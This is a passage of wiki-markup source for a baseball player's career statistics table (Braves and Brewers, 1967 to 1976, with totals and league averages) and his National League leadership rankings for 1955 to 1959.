|'''&lt;small&gt;460&lt;/small&gt;'''
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|'''&lt;small&gt;RF&lt;/small&gt;'''
|- align=&quot;center&quot; bgcolor=&quot;silver&quot;
|'''&lt;small&gt;1967&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
|'''&lt;small&gt;33&lt;/small&gt;'''
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|'''&lt;small&gt;184&lt;/small&gt;'''
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|'''&lt;small&gt;39&lt;/small&gt;'''
|'''&lt;small&gt;6.50&lt;/small&gt;'''
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|'''&lt;small&gt;63&lt;/small&gt;'''
|'''&lt;small&gt;97&lt;/small&gt;'''
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|'''&lt;small&gt;0.307&lt;/small&gt;'''
|'''&lt;small&gt;0.573&lt;/small&gt;'''
|'''&lt;small&gt;0.369&lt;/small&gt;'''
|'''&lt;small&gt;0.943&lt;/small&gt;'''
|'''&lt;small&gt;126&lt;/small&gt;'''
|'''&lt;small&gt;55&lt;/small&gt;'''
|'''&lt;small&gt;41&lt;/small&gt;'''
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|'''&lt;small&gt;7.75&lt;/small&gt;'''
|'''&lt;small&gt;344&lt;/small&gt;'''
|'''&lt;small&gt;79&lt;/small&gt;'''
|'''&lt;small&gt;0.267&lt;/small&gt;'''
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|'''&lt;small&gt;0.608&lt;/small&gt;'''
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|'''&lt;small&gt;0&lt;/small&gt;'''
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|'''&lt;small&gt;669&lt;/small&gt;'''
|'''&lt;small&gt;RF&lt;/small&gt;'''
|- align=&quot;center&quot;
|'''&lt;small&gt;1968&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
|'''&lt;small&gt;34&lt;/small&gt;'''
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|'''&lt;small&gt;29&lt;/small&gt;'''
|'''&lt;small&gt;4.79&lt;/small&gt;'''
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|'''&lt;small&gt;64&lt;/small&gt;'''
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|'''&lt;small&gt;0.287&lt;/small&gt;'''
|'''&lt;small&gt;0.498&lt;/small&gt;'''
|'''&lt;small&gt;0.354&lt;/small&gt;'''
|'''&lt;small&gt;0.852&lt;/small&gt;'''
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|'''&lt;small&gt;45&lt;/small&gt;'''
|'''&lt;small&gt;40&lt;/small&gt;'''
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|'''&lt;small&gt;6.06&lt;/small&gt;'''
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|'''&lt;small&gt;0.546&lt;/small&gt;'''
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|'''&lt;small&gt;RF&lt;/small&gt;'''
|- align=&quot;center&quot; bgcolor=&quot;silver&quot;
|'''&lt;small&gt;1969&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
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|'''&lt;small&gt;0.635&lt;/small&gt;'''
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|'''&lt;small&gt;410&lt;/small&gt;'''
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|'''&lt;small&gt;RF&lt;/small&gt;'''
|- align=&quot;center&quot;
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|'''&lt;small&gt;Braves&lt;/small&gt;'''
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|'''&lt;small&gt;150&lt;/small&gt;'''
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|'''&lt;small&gt;7.36&lt;/small&gt;'''
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|'''&lt;small&gt;0.958&lt;/small&gt;'''
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|'''&lt;small&gt;42&lt;/small&gt;'''
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|'''&lt;small&gt;0.615&lt;/small&gt;'''
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|'''&lt;small&gt;RF&lt;/small&gt;'''
|- align=&quot;center&quot; bgcolor=&quot;silver&quot;
|'''&lt;small&gt;1971&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
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|'''&lt;small&gt;71&lt;/small&gt;'''
|'''&lt;small&gt;58&lt;/small&gt;'''
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|'''&lt;small&gt;0.689&lt;/small&gt;'''
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|- align=&quot;center&quot;
|'''&lt;small&gt;1972&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
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|'''&lt;small&gt;0.390&lt;/small&gt;'''
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|'''&lt;small&gt;90&lt;/small&gt;'''
|'''&lt;small&gt;30&lt;/small&gt;'''
|'''&lt;small&gt;20&lt;/small&gt;'''
|'''&lt;small&gt;0.675&lt;/small&gt;'''
|'''&lt;small&gt;6.96&lt;/small&gt;'''
|'''&lt;small&gt;231&lt;/small&gt;'''
|'''&lt;small&gt;44&lt;/small&gt;'''
|'''&lt;small&gt;0.249&lt;/small&gt;'''
|'''&lt;small&gt;0.463&lt;/small&gt;'''
|'''&lt;small&gt;0.572&lt;/small&gt;'''
|'''&lt;small&gt;15&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;2&lt;/small&gt;'''
|'''&lt;small&gt;17&lt;/small&gt;'''
|'''&lt;small&gt;349&lt;/small&gt;'''
|'''&lt;small&gt;544&lt;/small&gt;'''
|'''&lt;small&gt;1B&lt;/small&gt;'''
|- align=&quot;center&quot; bgcolor=&quot;silver&quot;
|'''&lt;small&gt;1973&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
|'''&lt;small&gt;39&lt;/small&gt;'''
|'''&lt;small&gt;120&lt;/small&gt;'''
|'''&lt;small&gt;392&lt;/small&gt;'''
|'''&lt;small&gt;84&lt;/small&gt;'''
|'''&lt;small&gt;118&lt;/small&gt;'''
|'''&lt;small&gt;12&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;40&lt;/small&gt;'''
|'''&lt;small&gt;1.20&lt;/small&gt;'''
|'''&lt;small&gt;96&lt;/small&gt;'''
|'''&lt;small&gt;68&lt;/small&gt;'''
|'''&lt;small&gt;51&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;0.301&lt;/small&gt;'''
|'''&lt;small&gt;0.643&lt;/small&gt;'''
|'''&lt;small&gt;0.402&lt;/small&gt;'''
|'''&lt;small&gt;1.045&lt;/small&gt;'''
|'''&lt;small&gt;103&lt;/small&gt;'''
|'''&lt;small&gt;47&lt;/small&gt;'''
|'''&lt;small&gt;36&lt;/small&gt;'''
|'''&lt;small&gt;0.751&lt;/small&gt;'''
|'''&lt;small&gt;9.72&lt;/small&gt;'''
|'''&lt;small&gt;252&lt;/small&gt;'''
|'''&lt;small&gt;53&lt;/small&gt;'''
|'''&lt;small&gt;0.342&lt;/small&gt;'''
|'''&lt;small&gt;0.515&lt;/small&gt;'''
|'''&lt;small&gt;0.675&lt;/small&gt;'''
|'''&lt;small&gt;13&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;4&lt;/small&gt;'''
|'''&lt;small&gt;7&lt;/small&gt;'''
|'''&lt;small&gt;286&lt;/small&gt;'''
|'''&lt;small&gt;465&lt;/small&gt;'''
|'''&lt;small&gt;LF&lt;/small&gt;'''
|- align=&quot;center&quot;
|'''&lt;small&gt;1974&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
|'''&lt;small&gt;40&lt;/small&gt;'''
|'''&lt;small&gt;112&lt;/small&gt;'''
|'''&lt;small&gt;340&lt;/small&gt;'''
|'''&lt;small&gt;47&lt;/small&gt;'''
|'''&lt;small&gt;91&lt;/small&gt;'''
|'''&lt;small&gt;16&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;20&lt;/small&gt;'''
|'''&lt;small&gt;5.88&lt;/small&gt;'''
|'''&lt;small&gt;69&lt;/small&gt;'''
|'''&lt;small&gt;39&lt;/small&gt;'''
|'''&lt;small&gt;29&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;0.268&lt;/small&gt;'''
|'''&lt;small&gt;0.491&lt;/small&gt;'''
|'''&lt;small&gt;0.341&lt;/small&gt;'''
|'''&lt;small&gt;0.832&lt;/small&gt;'''
|'''&lt;small&gt;57&lt;/small&gt;'''
|'''&lt;small&gt;14&lt;/small&gt;'''
|'''&lt;small&gt;8&lt;/small&gt;'''
|'''&lt;small&gt;0.616&lt;/small&gt;'''
|'''&lt;small&gt;5.97&lt;/small&gt;'''
|'''&lt;small&gt;167&lt;/small&gt;'''
|'''&lt;small&gt;36&lt;/small&gt;'''
|'''&lt;small&gt;0.224&lt;/small&gt;'''
|'''&lt;small&gt;0.341&lt;/small&gt;'''
|'''&lt;small&gt;0.528&lt;/small&gt;'''
|'''&lt;small&gt;6&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;2&lt;/small&gt;'''
|'''&lt;small&gt;6&lt;/small&gt;'''
|'''&lt;small&gt;258&lt;/small&gt;'''
|'''&lt;small&gt;382&lt;/small&gt;'''
|'''&lt;small&gt;LF&lt;/small&gt;'''
|- align=&quot;center&quot; bgcolor=&quot;silver&quot;
|'''&lt;small&gt;1975&lt;/small&gt;'''
|'''&lt;small&gt;Brewers&lt;/small&gt;'''
|'''&lt;small&gt;41&lt;/small&gt;'''
|'''&lt;small&gt;137&lt;/small&gt;'''
|'''&lt;small&gt;465&lt;/small&gt;'''
|'''&lt;small&gt;45&lt;/small&gt;'''
|'''&lt;small&gt;109&lt;/small&gt;'''
|'''&lt;small&gt;16&lt;/small&gt;'''
|'''&lt;small&gt;2&lt;/small&gt;'''
|'''&lt;small&gt;12&lt;/small&gt;'''
|'''&lt;small&gt;2.58&lt;/small&gt;'''
|'''&lt;small&gt;60&lt;/small&gt;'''
|'''&lt;small&gt;70&lt;/small&gt;'''
|'''&lt;small&gt;51&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;0.234&lt;/small&gt;'''
|'''&lt;small&gt;0.355&lt;/small&gt;'''
|'''&lt;small&gt;0.332&lt;/small&gt;'''
|'''&lt;small&gt;0.687&lt;/small&gt;'''
|'''&lt;small&gt;55&lt;/small&gt;'''
|'''&lt;font size=&quot;1&quot; color=&quot;red&quot;&gt;-6&lt;/font&gt;'''
|'''&lt;font size=&quot;1&quot; color=&quot;red&quot;&gt;-8&lt;/font&gt;'''
|'''&lt;small&gt;0.450&lt;/small&gt;'''
|'''&lt;small&gt;3.92&lt;/small&gt;'''
|'''&lt;small&gt;165&lt;/small&gt;'''
|'''&lt;small&gt;30&lt;/small&gt;'''
|'''&lt;small&gt;0.120&lt;/small&gt;'''
|'''&lt;small&gt;0.269&lt;/small&gt;'''
|'''&lt;small&gt;0.406&lt;/small&gt;'''
|'''&lt;small&gt;3&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;6&lt;/small&gt;'''
|'''&lt;small&gt;15&lt;/small&gt;'''
|'''&lt;small&gt;379&lt;/small&gt;'''
|'''&lt;small&gt;543&lt;/small&gt;'''
|'''&lt;small&gt;DH&lt;/small&gt;'''
|- align=&quot;center&quot; 
|'''&lt;small&gt;1976&lt;/small&gt;'''
|'''&lt;small&gt;Brewers&lt;/small&gt;'''
|'''&lt;small&gt;42&lt;/small&gt;'''
|'''&lt;small&gt;85&lt;/small&gt;'''
|'''&lt;small&gt;271&lt;/small&gt;'''
|'''&lt;small&gt;22&lt;/small&gt;'''
|'''&lt;small&gt;62&lt;/small&gt;'''
|'''&lt;small&gt;8&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;10&lt;/small&gt;'''
|'''&lt;small&gt;3.69&lt;/small&gt;'''
|'''&lt;small&gt;35&lt;/small&gt;'''
|'''&lt;small&gt;35&lt;/small&gt;'''
|'''&lt;small&gt;38&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;0.229&lt;/small&gt;'''
|'''&lt;small&gt;0.369&lt;/small&gt;'''
|'''&lt;small&gt;0.315&lt;/small&gt;'''
|'''&lt;small&gt;0.684&lt;/small&gt;'''
|'''&lt;small&gt;31&lt;/small&gt;'''
|'''&lt;font size=&quot;1&quot; color=&quot;red&quot;&gt;-1&lt;/font&gt;'''
|'''&lt;font size=&quot;1&quot; color=&quot;red&quot;&gt;-4&lt;/font&gt;'''
|'''&lt;small&gt;0.481&lt;/small&gt;'''
|'''&lt;small&gt;3.8&lt;/small&gt;'''
|'''&lt;small&gt;100&lt;/small&gt;'''
|'''&lt;small&gt;18&lt;/small&gt;'''
|'''&lt;small&gt;0.140&lt;/small&gt;'''
|'''&lt;small&gt;0.266&lt;/small&gt;'''
|'''&lt;small&gt;0.409&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;2&lt;/small&gt;'''
|'''&lt;small&gt;8&lt;/small&gt;'''
|'''&lt;small&gt;220&lt;/small&gt;'''
|'''&lt;small&gt;308&lt;/small&gt;'''
|'''&lt;small&gt;DH&lt;/small&gt;'''
|-
|colspan=&quot;38&quot; style=&quot;border-bottom: 2px solid black&quot;|
|- align=&quot;center&quot; 
|colspan=&quot;2&quot;|'''&lt;small&gt;TOTALS&lt;/small&gt;'''
|&amp;nbsp;
|'''&lt;small&gt;3298&lt;/small&gt;'''
|'''&lt;small&gt;12364&lt;/small&gt;'''
|'''&lt;small&gt;2174&lt;/small&gt;'''
|'''&lt;small&gt;3771&lt;/small&gt;'''
|'''&lt;small&gt;624&lt;/small&gt;'''
|'''&lt;small&gt;98&lt;/small&gt;'''
|'''&lt;small&gt;755&lt;/small&gt;'''
|'''&lt;small&gt;6.11&lt;/small&gt;'''
|'''&lt;small&gt;2297&lt;/small&gt;'''
|'''&lt;small&gt;1402&lt;/small&gt;'''
|'''&lt;small&gt;1383&lt;/small&gt;'''
|'''&lt;small&gt;240&lt;/small&gt;'''
|'''&lt;small&gt;73&lt;/small&gt;'''
|'''&lt;small&gt;0.305&lt;/small&gt;'''
|'''&lt;small&gt;0.555&lt;/small&gt;'''
|'''&lt;small&gt;0.374&lt;/small&gt;'''
|'''&lt;small&gt;0.928&lt;/small&gt;'''
|'''&lt;small&gt;2533&lt;/small&gt;'''
|'''&lt;small&gt;1032&lt;/small&gt;'''
|'''&lt;small&gt;822&lt;/small&gt;'''
|'''&lt;small&gt;0.719&lt;/small&gt;'''
|'''&lt;small&gt;7.49&lt;/small&gt;'''
|'''&lt;small&gt;6856&lt;/small&gt;'''
|'''&lt;small&gt;1477&lt;/small&gt;'''
|'''&lt;small&gt;0.25&lt;/small&gt;'''
|'''&lt;small&gt;0.376&lt;/small&gt;'''
|'''&lt;small&gt;0.584&lt;/small&gt;'''
|'''&lt;small&gt;293&lt;/small&gt;'''
|'''&lt;small&gt;32&lt;/small&gt;'''
|'''&lt;small&gt;21&lt;/small&gt;'''
|'''&lt;small&gt;121&lt;/small&gt;'''
|'''&lt;small&gt;328&lt;/small&gt;'''
|'''&lt;small&gt;9136&lt;/small&gt;'''
|'''&lt;small&gt;13940&lt;/small&gt;'''
|&amp;nbsp;
|- align=&quot;center&quot;
|colspan=&quot;2&quot;|'''&lt;small&gt;LG AVG&lt;/small&gt;'''
|&amp;nbsp;
|&amp;nbsp;
|'''&lt;small&gt;11637&lt;/small&gt;'''
|'''&lt;small&gt;1479&lt;/small&gt;'''
|'''&lt;small&gt;3062&lt;/small&gt;'''
|'''&lt;small&gt;477&lt;/small&gt;'''
|'''&lt;small&gt;96&lt;/small&gt;'''
|'''&lt;small&gt;298&lt;/small&gt;'''
|'''&lt;small&gt;2.56&lt;/small&gt;'''
|'''&lt;small&gt;1380&lt;/small&gt;'''
|'''&lt;small&gt;1116&lt;/small&gt;'''
|'''&lt;small&gt;1665&lt;/small&gt;'''
|'''&lt;small&gt;158&lt;/small&gt;'''
|'''&lt;small&gt;97&lt;/small&gt;'''
|'''&lt;small&gt;0.263&lt;/small&gt;'''
|'''&lt;small&gt;0.397&lt;/small&gt;'''
|'''&lt;small&gt;0.329&lt;/small&gt;'''
|'''&lt;small&gt;0.727&lt;/small&gt;'''
|'''&lt;small&gt;1533&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;0.500&lt;/small&gt;'''
|'''&lt;small&gt;4.53&lt;/small&gt;'''
|'''&lt;small&gt;4625&lt;/small&gt;'''
|'''&lt;small&gt;871&lt;/small&gt;'''
|'''&lt;small&gt;0.134&lt;/small&gt;'''
|'''&lt;small&gt;0.235&lt;/small&gt;'''
|'''&lt;small&gt;0.434&lt;/small&gt;'''
|'''&lt;small&gt;130&lt;/small&gt;'''
|'''&lt;small&gt;72&lt;/small&gt;'''
|'''&lt;small&gt;109&lt;/small&gt;'''
|'''&lt;small&gt;91&lt;/small&gt;'''
|'''&lt;small&gt;264&lt;/small&gt;'''
|'''&lt;small&gt;9136&lt;/small&gt;'''
|'''&lt;small&gt;13026&lt;/small&gt;'''
|&amp;nbsp;
|- align=&quot;center&quot;
|colspan=&quot;2&quot;|'''&lt;small&gt;POS AVG&lt;/small&gt;'''
|&amp;nbsp;
|&amp;nbsp;
|'''&lt;small&gt;11844&lt;/small&gt;'''
|'''&lt;small&gt;1634&lt;/small&gt;'''
|'''&lt;small&gt;3238&lt;/small&gt;'''
|'''&lt;small&gt;519&lt;/small&gt;'''
|'''&lt;small&gt;104&lt;/small&gt;'''
|'''&lt;small&gt;389&lt;/small&gt;'''
|'''&lt;small&gt;3.28&lt;/small&gt;'''
|'''&lt;small&gt;1592&lt;/small&gt;'''
|'''&lt;small&gt;1144&lt;/small&gt;'''
|'''&lt;small&gt;1768&lt;/small&gt;'''
|'''&lt;small&gt;160&lt;/small&gt;'''
|'''&lt;small&gt;92&lt;/small&gt;'''
|'''&lt;small&gt;0.273&lt;/small&gt;'''
|'''&lt;small&gt;0.433&lt;/small&gt;'''
|'''&lt;small&gt;0.338&lt;/small&gt;'''
|'''&lt;small&gt;0.772&lt;/small&gt;'''
|'''&lt;small&gt;1736&lt;/small&gt;'''
|'''&lt;small&gt;202&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;0.551&lt;/small&gt;'''
|'''&lt;small&gt;5.13&lt;/small&gt;'''
|'''&lt;small&gt;5132&lt;/small&gt;'''
|'''&lt;small&gt;1012&lt;/small&gt;'''
|'''&lt;small&gt;0.16&lt;/small&gt;'''
|'''&lt;small&gt;0.262&lt;/small&gt;'''
|'''&lt;small&gt;0.467&lt;/small&gt;'''
|'''&lt;small&gt;147&lt;/small&gt;'''
|'''&lt;small&gt;68&lt;/small&gt;'''
|'''&lt;small&gt;69&lt;/small&gt;'''
|'''&lt;small&gt;96&lt;/small&gt;'''
|'''&lt;small&gt;273&lt;/small&gt;'''
|'''&lt;small&gt;9136&lt;/small&gt;'''
|'''&lt;small&gt;13222&lt;/small&gt;'''
|&amp;nbsp;
|-
|}

==League leadership rankings==
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;center&quot; 
|-
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1955 NL'''
|-
||'''GAMES'''||7&lt;sup&gt;TH&lt;/sup&gt;||153
|-
||'''AT BATS'''||6&lt;sup&gt;TH&lt;/sup&gt;||602
|-
||'''RUNS'''||8&lt;sup&gt;TH&lt;/sup&gt;||105
|-
||'''HITS'''||2&lt;sup&gt;ND&lt;/sup&gt;||189
|-
||'''SINGLES'''||10&lt;sup&gt;TH&lt;/sup&gt;||116
|-
||'''DOUBLES'''||1&lt;sup&gt;ST&lt;/sup&gt;||37
|-
||'''TRIPLES'''||5&lt;sup&gt;TH&lt;/sup&gt;||9
|-
||'''HOME RUNS'''||10&lt;sup&gt;TH&lt;/sup&gt;||27
|-
||'''RBI'''||9&lt;sup&gt;TH&lt;/sup&gt;||106
|-
||'''AVERAGE'''||5&lt;sup&gt;TH&lt;/sup&gt;||.314
|-
||'''SLG'''||9&lt;sup&gt;TH&lt;/sup&gt;||.540
|-
||'''OPS'''||9&lt;sup&gt;TH&lt;/sup&gt;||.906
|-
||'''RUNS CREATED'''||9&lt;sup&gt;TH&lt;/sup&gt;||113
|-
||'''RCAA'''||7&lt;sup&gt;TH&lt;/sup&gt;||39
|-
||'''RCAP'''||7&lt;sup&gt;TH&lt;/sup&gt;||37
|-
||'''OWP'''||8&lt;sup&gt;TH&lt;/sup&gt;||.679
|-
||'''TOTAL BASES'''||6&lt;sup&gt;TH&lt;/sup&gt;||325
|-
||'''EXTRA BASE HITS'''||5&lt;sup&gt;TH&lt;/sup&gt;||73
|-
||'''ISOLATED POWER'''||9&lt;sup&gt;TH&lt;/sup&gt;||.226
|-
||'''BPA'''||9&lt;sup&gt;TH&lt;/sup&gt;||.546
|-
||'''GIDP'''||2&lt;sup&gt;ND&lt;/sup&gt;||20
|-
||'''PLATE APPEARANCES'''||9&lt;sup&gt;TH&lt;/sup&gt;||665
|-
||'''OUTS'''||7&lt;sup&gt;TH&lt;/sup&gt;||445
|-
|}
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1956 NL'''
|-
||'''GAMES'''||6&lt;sup&gt;TH&lt;/sup&gt;||153
|-
||'''AT BATS'''||5&lt;sup&gt;TH&lt;/sup&gt;||609
|-
||'''RUNS'''||3&lt;sup&gt;RD&lt;/sup&gt;||106
|-
||'''HITS'''||1&lt;sup&gt;ST&lt;/sup&gt;||200
|-
||'''SINGLES'''||6&lt;sup&gt;TH&lt;/sup&gt;||126
|-
||'''DOUBLES'''||1&lt;sup&gt;ST&lt;/sup&gt;||34
|-
||'''TRIPLES'''||2&lt;sup&gt;ND&lt;/sup&gt;||14
|-
||'''RBI'''||9&lt;sup&gt;TH&lt;/sup&gt;||92
|-
||'''AVERAGE'''||1&lt;sup&gt;ST&lt;/sup&gt;||.328
|-
||'''SLG'''||3&lt;sup&gt;RD&lt;/sup&gt;||.558
|-
||'''OPS'''||5&lt;sup&gt;TH&lt;/sup&gt;||.923
|-
||'''RUNS CREATED'''||5&lt;sup&gt;TH&lt;/sup&gt;||115
|-
||'''RCAA'''||5&lt;sup&gt;TH&lt;/sup&gt;||39
|-
||'''RCAP'''||6&lt;sup&gt;TH&lt;/sup&gt;||34
|-
||'''OWP'''||5&lt;sup&gt;TH&lt;/sup&gt;||.679
|-
||'''RUNS CREATED/GAME'''||7&lt;sup&gt;TH&lt;/sup&gt;||6.96
|-
||'''TOTAL BASES'''||1&lt;sup&gt;ST&lt;/sup&gt;||340
|-
||'''EXTRA BASE HITS'''||2&lt;sup&gt;ND&lt;/sup&gt;||74
|-
||'''TOTAL AVERAGE'''||9&lt;sup&gt;TH&lt;/sup&gt;||.869
|-
||'''BPA'''||10&lt;sup&gt;TH&lt;/sup&gt;||.544
|-
||'''GIDP'''||3&lt;sup&gt;RD&lt;/sup&gt;||21
|-
||'''SACRIFICE FLIES'''||6&lt;sup&gt;TH&lt;/sup&gt;||7
|-
||'''PLATE APPEARANCES'''||10&lt;sup&gt;TH&lt;/sup&gt;||660
|-
||'''OUTS'''||9&lt;sup&gt;TH&lt;/sup&gt;||446 
|-
|}
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1957 NL'''
|-
||'''GAMES'''||6&lt;sup&gt;TH&lt;/sup&gt;||151
|- 
||'''AT BATS'''||5&lt;sup&gt;TH&lt;/sup&gt;||615
|- 
||'''RUNS'''||1&lt;sup&gt;ST&lt;/sup&gt;||118
|- 
||'''HITS'''||2&lt;sup&gt;ND&lt;/sup&gt;||198
|- 
||'''SINGLES'''||8&lt;sup&gt;TH&lt;/sup&gt;||121
|- 
||'''HOME RUNS'''||1&lt;sup&gt;ST&lt;/sup&gt;||44
|- 
||'''HR/100 OUTS'''||1&lt;sup&gt;ST&lt;/sup&gt;||10.14
|- 
||'''HR/100 PA'''||2&lt;sup&gt;ND&lt;/sup&gt;||6.52
|- 
||'''HR/100 AB'''||3&lt;sup&gt;RD&lt;/sup&gt;||7.15
|- 
||'''RBI'''||1&lt;sup&gt;ST&lt;/sup&gt;||132
|- 
||'''AVERAGE'''||4&lt;sup&gt;TH&lt;/sup&gt;||.322
|- 
||'''SLG'''||3&lt;sup&gt;RD&lt;/sup&gt;||.600
|- 
||'''OBA'''||9&lt;sup&gt;TH&lt;/sup&gt;||.378
|- 
||'''OPS'''||3&lt;sup&gt;RD&lt;/sup&gt;||.978
|- 
||'''RUNS CREATED'''||2&lt;sup&gt;ND&lt;/sup&gt;||135
|- 
||'''RCAA'''||1&lt;sup&gt;ST&lt;/sup&gt;||66
|- 
||'''RCAP'''||2&lt;sup&gt;ND&lt;/sup&gt;||64
|- 
||'''OWP'''||2&lt;sup&gt;ND&lt;/sup&gt;||.772
|- 
||'''RUNS CREATED/GAME'''||3&lt;sup&gt;RD&lt;/sup&gt;||8.40
|- 
||'''TOTAL BASES'''||1&lt;sup&gt;ST&lt;/sup&gt;||369
|- 
||'''EXTRA BASE HITS'''||3&lt;sup&gt;RD&lt;/sup&gt;||77
|- 
||'''ISOLATED POWER'''||4&lt;sup&gt;TH&lt;/sup&gt;||.278
|- 
||'''SECONDARY AVERAGE'''||6&lt;sup&gt;TH&lt;/sup&gt;||.371
|- 
||'''TOTAL AVERAGE'''||3&lt;sup&gt;RD&lt;/sup&gt;||.988
|- 
||'''BPA'''||3&lt;sup&gt;RD&lt;/sup&gt;||.612
|- 
||'''INTENTIONAL WALKS'''||2&lt;sup&gt;ND&lt;/sup&gt;||15
|- 
||'''PLATE APPEARANCES'''||7&lt;sup&gt;TH&lt;/sup&gt;||675
|- 
||'''OUTS'''||9&lt;sup&gt;TH&lt;/sup&gt;||434 
|-
|}
|-
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1958 NL'''
|-
||'''GAMES'''||2ND||153
|- 
||'''AT BATS'''||5TH||601
|- 
||'''RUNS'''||3RD||109
|- 
||'''HITS'''||3RD||196
|- 
||'''SINGLES'''||4TH||128
|- 
||'''DOUBLES'''||4TH||4
|- 
||'''HOME RUNS'''||5TH||30
|- 
||'''HR/100 OUTS'''||6TH||6.98
|- 
||'''HR/100 PA'''||5TH||4.52
|- 
||'''HR/100 AB'''||6TH||4.99
|- 
||'''RBI'''||6TH||95
|- 
||'''AVERAGE'''||4TH||.326
|- 
||'''SLG'''||3RD||.546
|- 
||'''OBA'''||6TH||.386
|- 
||'''OPS'''||4TH||.931
|- 
||'''RUNS CREATED'''||4TH||120
|- 
||'''RCAA'''||2ND||54
|- 
||'''RCAP'''||3RD||49
|- 
||'''OWP'''||2ND||.745
|- 
||'''RUNS CREATED/GAME'''||5TH||7.53
|- 
||'''TOTAL BASES'''||3RD||328
|- 
||'''EXTRA BASE HITS'''||3RD||68
|- 
||'''ISOLATED POWER'''||7TH||.220
|- 
||'''SECONDARY AVERAGE'''||9TH||.323
|- 
||'''TOTAL AVERAGE'''||5TH||.916
|- 
||'''BPA'''||3RD||.557
|- 
||'''INTENTIONAL WALKS'''||3RD||16
|- 
||'''GIDP'''||2ND||21
|- 
||'''PLATE APPEARANCES'''||4TH||664
|- 
||'''OUTS'''||10TH||430 
|-
|}
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1959 NL'''
|-
||'''GAMES'''||3&lt;sup&gt;RD&lt;/sup&gt;||154
|- 
||'''AT BATS'''||2&lt;sup&gt;ND&lt;/sup&gt;||629
|- 
||'''RUNS'''||4&lt;sup&gt;TH&lt;/sup&gt;||116
|- 
||'''HITS'''||1&lt;sup&gt;ST&lt;/sup&gt;||223
|- 
||'''SINGLES'''||3&lt;sup&gt;RD&lt;/sup&gt;||131
|- 
||'''DOUBLES'''||2&lt;sup&gt;ND&lt;/sup&gt;||46
|- 
||'''TRIPLES'''||8&lt;sup&gt;TH&lt;/sup&gt;||7
|- 
||'''HOME RUNS'''||3&lt;sup&gt;RD&lt;/sup&gt;||39
|- 
||'''HR/100 OUTS'''||3&lt;sup&gt;RD&lt;/sup&gt;||8.99
|- 
||'''HR/100 PA'''||4&lt;sup&gt;TH&lt;/sup&gt;||5.63
|- 
||'''HR/100 AB'''||4&lt;sup&gt;TH&lt;/sup&gt;||6.20
|- 
||'''RBI'''||3&lt;sup&gt;RD&lt;/sup&gt;||123
|- 
||'''AVERAGE'''||1&lt;sup&gt;ST&lt;/sup&gt;||.355
|- 
||'''SLG'''||1&lt;sup&gt;ST&lt;/sup&gt;||.636
|- 
||'''OBA'''||2&lt;sup&gt;ND&lt;/sup&gt;||.401
|- 
||'''OPS'''||1&lt;sup&gt;ST&lt;/sup&gt;||1.037
|- 
||'''RUNS CREATED'''||1&lt;sup&gt;ST&lt;/sup&gt;||156
|- 
||'''RCAA'''||1&lt;sup&gt;ST&lt;/sup&gt;||82
|- 
||'''RCAP'''||1&lt;sup&gt;ST&lt;/sup&gt;||71
|- 
||'''OWP'''||1&lt;sup&gt;ST&lt;/sup&gt;||.794
|- 
